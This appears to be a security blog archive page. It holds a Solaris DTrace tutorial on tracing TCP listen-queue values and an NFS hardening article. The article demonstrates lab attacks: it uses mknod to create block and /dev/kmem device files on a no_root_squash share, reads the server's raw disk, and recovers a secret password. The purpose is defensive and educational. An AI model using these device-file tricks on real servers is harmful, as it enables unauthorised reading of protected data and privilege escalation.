Search This Blog

Showing posts with label mdb. Show all posts
Showing posts with label mdb. Show all posts

Wednesday, 27 July 2016

Kernel Tracing Qmax on Solaris – Part 1



Time to poke around the kernel and do a simple bit of reversing.

Whether you are a sysadmin, penetration tester, or reverse engineer, if you don't know about Solaris DTrace you will want to. It allows for low-latency instrumentation of the system. This includes function boundary tracing (FBT) of pretty much any function in the kernel and any application running on the server.

People have been able to solve complex problems in applications on other platforms simply because the application also ran on Solaris and they could use DTrace on that port of the application.

You can inspect memory in the kernel and application based on events, and much more. You can even get the kernel to lie to userland processes (with filtering on what it will lie to).

But we are getting ahead of ourselves.

As an example, which I'll cover a very small part here, I had an application that had multiple serious issues that even the vendor was struggling to solve.

To identify the problem areas the most powerful script I wrote was a single DTrace script. This single script was able to trace all the individual requests from the arrival of the initial connection and the three-way handshake using kernel FBT (including when Q = Qmax), through to the system call (syscall tracing), on to the listening thread within the Java app, and then the handover to the worker thread (user FBT) and keep an eye on all Java safepoints and then tell me what was blocking the threads (filesystem issues – sometimes closing a file descriptor took several seconds). All these stages had issues, and sometimes the Java safepoints aggravated the situation; but the picture it painted was invaluable – we could prove what was the cause before fixing it, not just say something was the probable cause, and do this directly on the live system. Tracing all of this without impacting the live application.

To start we will look at monitoring the incoming connection (the first syn packet), and whilst we are in the listener perimeter (mutual exclusion of the listener in interrupt context) we will report on the value of q0/q/qmax. i.e. we know if a connection is ignored because we can prove q==qmax. Using ndd only gives you a point in time, here we are provably showing what the settings are at the time that specific connection is evaluated within the kernel.

It helps to have the Solaris source code (or a version of it) – see https://github.com/illumos/illumos-gate.

Our first DTrace scripts

In source file usr/src/stand/lib/tcp/tcp.c we have tcp_conn_request(). It's first parameter is a tcp_t, which is defined in /usr/include/inet/tcp.h. As a reverse engineer we could figure this out without the source code, but I will leave that as an exercise.

The tcp_t has tcp_conn_req_cnt_q0, tcp_conn_req_cnt_q, and tcp_conn_req_max for Q0, Q and Qmax respectively.

Within this structure we also have a struct conn_s (tcp_connp) pointer, which is defined in /usr/include/inet/ipclassifier.h. Then in tcp_connp we have a union of structs, such that the local port is at u_port.tcpu_ports.tcp_lport.
So, the script would be:

#!/usr/sbin/dtrace -Cs

#pragma D option quiet

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>

fbt:ip:tcp_conn_request:entry
{
        self->tcpq = (tcp_t*)arg0;

        printf("tcpq: %p\n", self->tcpq );

        printf("q0/q/qmax: %d/%d/%d\n",
                self->tcpq->tcp_conn_req_cnt_q0,
                self->tcpq->tcp_conn_req_cnt_q,
                self->tcpq->tcp_conn_req_max
        );
        printf("conn_lport: %d\n", (uint32_t)self->tcpq->tcp_connp->u_port.tcpu_ports.tcpu_lport );
}

If we run the script and then create a new connection to 22/tcp (e.g. using nc or telnet with a dst port) we see this:

# ./tcpq_ex1.d
dtrace: error on enabled probe ID 1 (ID 29873: fbt:ip:tcp_conn_request:entry): invalid alignment (0x603184280103) in action #5 at DIF offset 32

So, what is wrong. First, lets comment out all the printf's except the one that prints the address of arg0 and re-try:

root@sol10-u9-t4# ./tcpq_ex2.d
tcpq: ffffffff879e9b00

If we then look for the address using ndd we see that this doesn't look right:

root@sol10-u9-t4# ndd /dev/tcp tcp_listen_hash | egrep '(TCP|00022)'
    TCP            zone IP addr         port  seqnum   backlog (q0/q/max)
022 ffffffff879e9d00 0 :: 00022 00000081 0/0/8

After a bit of diagnostics it appears that we may have made a false assumption. After all, we are basing the functionality on an open source version of Solaris and a major version of Solaris has many major changes between updates, and I'm running update 9 (on Intel).

root@sol10-u9-t4# head -1 /etc/release
                    Oracle Solaris 10 9/10 s10x_u9wos_14a X86

If we look at the open source code we see that all versions have the following as the first test. It is therefore reasonable to expect that the closed source version will have that first (or near the first) test.

if (tcp->tcp_conn_req_cnt_q >= tcp->tcp_conn_req_max) {

So, lets run up a kernel debugger and have a look at the assembly of tcp_conn_request(). Here is the truncated and annotated output.

root@sol10-u9-t4# mdb -k
Loading modules: ..
> ::dis tcp_conn_request
...
tcp_conn_request+0xc:           movq   %rdi,%r15           ; arg0 into r15
tcp_conn_request+0xf:           movq   %r12,-0x20(%rbp)
tcp_conn_request+0x13:          movq   0x28(%r15),%r12     ; arg0 offset 0x28 into r12
tcp_conn_request+0x39:          cmpl   $-0x3,0x20(%r12)     ; some other test
tcp_conn_request+0x3f:          je     +0x21    <tcp_conn_request+0x60>
tcp_conn_request+0x41:          call   +0x7e70c2f       <freemsg>
tcp_conn_request+0x74:          movl   0x1d0(%r12),%edx
tcp_conn_request+0x7c:          cmpl   %edx,0x1cc(%r12)     ; cmp q and qmax?
tcp_conn_request+0x84:          jge    +0x8fd   <tcp_conn_request+0x981>

It appears that arg0 may not be tcp_t after all, but if we look at the offset 0x28 from arg0 we will find a pointer to it. In this case, there may be a public structure this maps to, there may not. I will leave that as an exercise for the reader.

Lets re-write the setting of self->tcpq to be the following and try again.

self->tcpq = *(tcp_t**)((char*)arg0+0x28);

This time it looks better:

root@sol10-u9-t4# ./tcpq_ex3.d
tcpq: ffffffff879e9d00
q0/q/qmax: 0/0/8
conn_lport: 0

So, Qmax etc look good but conn_lport doesn't.

We know that the tcp_t address is right from ndd, and that from tcp_lookup_listener_ipv4() we are looking in the right place for the local port, so in this case it may be that the metadata DTrace is using is not the actual structure (something is different). In this case lets go back to the kernel debugger to see if we can find something that could be a “port 22” in the conn_s structure.

> ffffffff879e9d00::print -t tcp_t tcp_connp
struct conn_s *tcp_connp = 0xffffffff879e9b00
> 0xffffffff879e9b00/300B
0xffffffff879e9b00:             0       0       0       0       0       0       0       0       3       0       0       0      
                0       0       0       0       0       0       0       0       0       0       0       0       9       0      
                0       0       0       0       0       0       0       0       0       0       0       0       0       0      
                0       0       0       16      6       0       0       0       0       0       0       0       0       0

This is at offset 266 (0x10a); so lets change this value to the following and re-run.

printf("conn_lport: %d\n", *(uint16_t*)((char*)self->tcpq->tcp_connp+0x10a) );

This time we get a value, but it doesn't look right:

root@sol10-u9-t4# ./tcpq_ex4.d
tcpq: ffffffff879e9d00
q0/q/qmax: 0/0/8
conn_lport: 5632

As we are on Intel and we are printing a network port, there is a good change this is in network byte order. Simple to test; we pass it through htons().

printf("conn_lport: %d\n", htons(*(uint16_t*)((char*)self->tcpq->tcp_connp+0x10a)) );

This time all the values look right:

root@sol10-u9-t4# ./tcpq_ex5.d
tcpq: ffffffff879e9d00
q0/q/qmax: 0/0/8
conn_lport: 22

As this is event driven and we haven't added any predicates we can just try another port to confirm things look ok. e.g. 111/tcp:

tcpq: ffffffff800d8240
q0/q/qmax: 0/0/64
conn_lport: 111

And a quick check with ndd confirms this:

root@sol10-u9-t4# ndd /dev/tcp tcp_listen_hash | egrep '(TCP|00111)'
    TCP            zone IP addr         port  seqnum   backlog (q0/q/max)
367 ffffffff800d8240 0 ::ffff:0.0.0.0 00111 00000010 0/0/64

A quick note, the reason q0 is not at least one. We are evaluating the parameters on entry to the function that will update them.

If we take a step back and think what we have done. We are now dynamically tracing incoming SYN packets caused by a network interrupt whilst within the mutual exclusion of the listener perimeter in interrupt context on a running (live) system. We are therefore certain as to the values of q0/q/qmax at that point in time. How awesome is that.

In the next part we will update the script so we also report on the origin of the packet. We will also add some predicates to only look at a particular listener.

I would appreciate some feedback on my articles, at least let me know you are reading them. Ideally, let me know where I could improve the Blog.

Thursday, 26 May 2016

NFS Abuse for Fun and Profit - Part 3




Following on from Part 1 and Part 2; in this final part of this overview of NFS version 2 and 3, we will look at a number of other countermeasures and a nice way to compromise a system.

Case 5 – Read only shares

This is one of the more useful options. If we are sharing out part of the filesystem, then lets stop the client writing to the share if they don't need to write to it; least privilege.

In this case we specify the ro attribute on the share. Note that we can have combinations, in that we can specify that some clients are rw and others ro. So, we update /etc/exports thus:

[root@centos-7-2-t1 ~]# cat /etc/exports
/myShare          *(ro)
[root@centos-7-2-t1 ~]# exportfs -a

Then, from the adversaries machine, when we mount the share rw, we get the following.

[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3,rw centos-7-2-t1:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# su - bh5000
Last login: Wed May 18 09:41:37 BST 2016 on pts/0
[bh5000@centos-7-2-t3 ~]$ cd /tgtNFSmount/
[bh5000@centos-7-2-t3 tgtNFSmount]$ echo hello-world > a.a
-bash: a.a: Read-only file system

As you can see, whilst it appears to mount rw, you still cannot write to it, since it is prohibited at the server end.

However, just like on web services it is important we validate at both ends; that authorized clients also ensure that the 'rules are followed' in case the server is compromised. So, valid clients should also mount the share read-only.

Suggestion 4 – don't share or mount something read-write if read-only is all that is needed.

Case 6 – ACLs

This is probably the best standard NFS option you have. Just like a firewall, we can restrict the range of hosts (there are various filters available; e.g. subnets, netgroups), so that only authorized clients can access the share (or write)  in the first place. In this case, the adversary is forced to compromise an authorized client (or the server itself), rather than taking advantage of any other host.

In this case we'll state that only server t2 can access the share.

[root@centos-7-2-t1 ~]# cat /etc/exports
/myShare          centos-7-2-t2(rw)
[root@centos-7-2-t1 ~]# exportfs -a

Now, only t2 can access the filesystem. So, from the adversaries box, this will fail, won't it:

[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3,rw centos-7-2-t1:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# df -k /tgtNFSmount
Filesystem             1K-blocks    Used Available Use% Mounted on
centos-7-2-t1:/myShare  18307072 1865472  16441600  11% /tgtNFSmount
[root@centos-7-2-t3 ~]# echo hello-world > /tgtNFSmount/a.a
-bash: /tgtNFSmount/a.a: Read-only file system

Ah, you need to restart the NFS server in this case:

[root@centos-7-2-t1 ~]# exportfs -ra

[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3,rw centos-7-2-t1:/myShare /tgtNFSmount/
mount.nfs: access denied by server while mounting centos-7-2-t1:/myShare

You need to carefully check the semantics of the specific system.

On Linux the semantics are to share read-only to all clients unless specified otherwise.

On Solaris, the default is to share read-write to all clients unless specified otherwise.

There are other semantics as well, so in short, you should always validate the setup.

Suggestion 5 – Always use an ACL unless you are absolutely sure it cannot be used in your situation.

Case 7 – noexec and nodev

As with any technology, it always worth looking at what options are available or changed, as some can improve security, and some can weaken security.

Often-times, the changes are done in a way that doesn't break existing functionality. So, you can find a weakness in an (old) system that it still present in newer incarnations, since the feature needs to be activated.

In this case, we are going to look at two useful options for NFS mounts – noexec and nodev. By default these are allowed.

First, noexec. This sort of makes sense – by default allowing you to execute programs on NFS shares. However, in today's landscape, as it isn't (normally) authenticated (e.g. Kerberos); probably less so. Let's turn that off on authorized clients:

[root@centos-7-2-t2 ~]# mount -t nfs -o tcp,vers=3,nosuid,noexec centos-7-2-t1:/myShare /myNFSmount
[root@centos-7-2-t2 ~]# su - joe
Last login: Wed May 18 10:21:32 BST 2016 on pts/0
[joe@centos-7-2-t2 ~]$ /myNFSmount/bash.centos72
-bash: /myNFSmount/bash.centos72: Permission denied

Next, nodev. This is a nice one. By default we allow special files on an NFS share, these can be named pipes, sockets, and also filesystem devices; basically any device.

Device special files are special on the client that is accessing it. This implies that whether it is the NFS server or the NFS client, the access is the kernel device driver on the system you are accessing it. So, if you create a device for the root filesystem, from a client, then access it on the server; you have access to the root filesystem device on the server.

There is a caveat, by default root is 'squashed', so you cannot just create a device for a filesystem from a client. However, a) this isn't always the case, and b) you can always compromise the NFS server itself and use it the other way round to escalate privileges on the clients.

First example will be with no_root_squash, thus:

[root@centos-7-2-t1 myShare]# cat /etc/exports
/myShare          *(rw,no_root_squash)
[root@centos-7-2-t1 myShare]# exportfs -ra
[root@centos-7-2-t1 myShare]# ls -lL /dev/mapper/centos-dummy
brw-rw----. 1 root disk 253, 2 May 11 18:16 /dev/mapper/centos-dummy
[root@centos-7-2-t1 myShare]# getent passwd joe
joe:x:5001:5001::/home/joe:/bin/bash

Now, on the centos-dummy filesystem we have a secret file. So, from the adversaries box (or a compromised client), we can do this:

[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3 centos-7-2-t1:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# cd /tgtNFSmount/
[root@centos-7-2-t3 tgtNFSmount]# mknod testDev b 253 2
[root@centos-7-2-t3 tgtNFSmount]# chown 5001:5001 testDev
[root@centos-7-2-t3 tgtNFSmount]# ls -l testDev
brw-r--r--. 1 5001 5001 253, 2 May 26 10:55 testDev

Then as joe on the NFS server (or a client) we can then view the filesystem (for the demo we are just using strings, but there are many options including e.g. dd the whole thing for offsite enjoyment):

[joe@centos-7-2-t1 ~]$ strings /dev/mapper/centos-dummy
strings: /dev/mapper/centos-dummy: Permission denied
[joe@centos-7-2-t1 ~]$ strings /myShare/testDev | head -20
#k?WQk?W
/mnt
lost+found
supersecret.txt
mySetpriv
...
unconfined_u:object_r:mnt_t:s0
AReallyComplicatedPassword-OK-LONG-Password
 @B1
B82
...

i.e. we are reading the following file:

[root@centos-7-2-t1 myShare]# mount -o nosuid /dev/mapper/centos-dummy /mnt
[root@centos-7-2-t1 myShare]# ls -l /mnt/supersecret.txt
----------. 1 root root 44 May 20 20:53 /mnt/supersecret.txt
[root@centos-7-2-t1 myShare]# cat /mnt/supersecret.txt
AReallyComplicatedPassword-OK-LONG-Password

Now, for a cross-platform attempt. First, what device do we need on Solaris:

joe@sol10-u9-t4$ df -k /export/home/
Filesystem            kbytes    used   avail capacity  Mounted on
/dev/dsk/c1t0d0s7    8245877    8210 8155209     1%    /export/home
joe@sol10-u9-t4$ ls -lL /dev/kmem /dev/dsk/c1t0d0s7
brw-r-----   1 root     sys       30,  7 May 10 16:28 /dev/dsk/c1t0d0s7
crw-r-----   1 root     sys       13,  1 May 10 16:12 /dev/kmem

Then on the adversary's Linux box we do the following:

[root@centos-7-2-t3 tgtNFSmount]# mknod solKmem c 13 1
[root@centos-7-2-t3 tgtNFSmount]# mknod sols7 b 30 7

Then back on the Solaris box we can now do this:

joe@sol10-u9-t4$ strings /myOracleShare/sols7 2> /dev/null | more
/export/home
v$2W
v$2W
.profile
local.cshrc
local.login
local.profile
.bash_history
This is the default standard profile provided to a user.
They are expected to edit it to meet their own needs.
MAIL=/usr/mail/${LOGNAME:?}

But due to some quirks with this kernel we cannot do the following (there may be kernels for which this will work .. I would need to look into it in much more detail)

joe@sol10-u9-t4$ mdb -k /myOracleShare/solKmem /dev/ksyms
mdb: failed to read ELF header from /myOracleShare/solKmem: Bad address

As you can see, being able to create device special files via a client or the server can be extremely dangerous.

As a side note, Solaris does not have nodev. Instead, nosuid infers the equivalent of nodev. So, it will inadvertently be stopped by the more obvious nosuid lockdown.

Suggestion 6 – only allow appropriate files on a share or mount. Pay particular attention to special files and suid files.

Suggestion 7 – if possible, ensure that the filesystem you are sharing is also mounted with restrictive options on the NFS server.

Case 8 – SELinux

On Linux we can use SELinux to enforce a number of security constraints.

This isn't as scary as people think. You don't have to go into the details of creating policies, etc. Instead, the default targeted policy has a set of SELinux booleans that you can turn on and off to influence policy.

You can see a few by running:

[root@centos-7-2-t1 ~]# getsebool -a | fgrep -i nfs
...
nfs_export_all_ro --> on
nfs_export_all_rw --> on
nfsd_anon_write --> off
...
samba_share_nfs --> off
...

SELinux is a big subject in itself, so I'll leave it for now in this article. Perhaps for another time.

Case n+1

There are many other ways to abuse NFS. For example, normally none of it uses encryption or cryptographic authentication. You can protect part of the NFSv2/3 connections using Kerberos, but for full authentication/encryption you need to be using NFSv4.

So, MITM attacks to monitor or alter data is also a viable option, but I will leave that as an exercise for the reader.

Enjoy.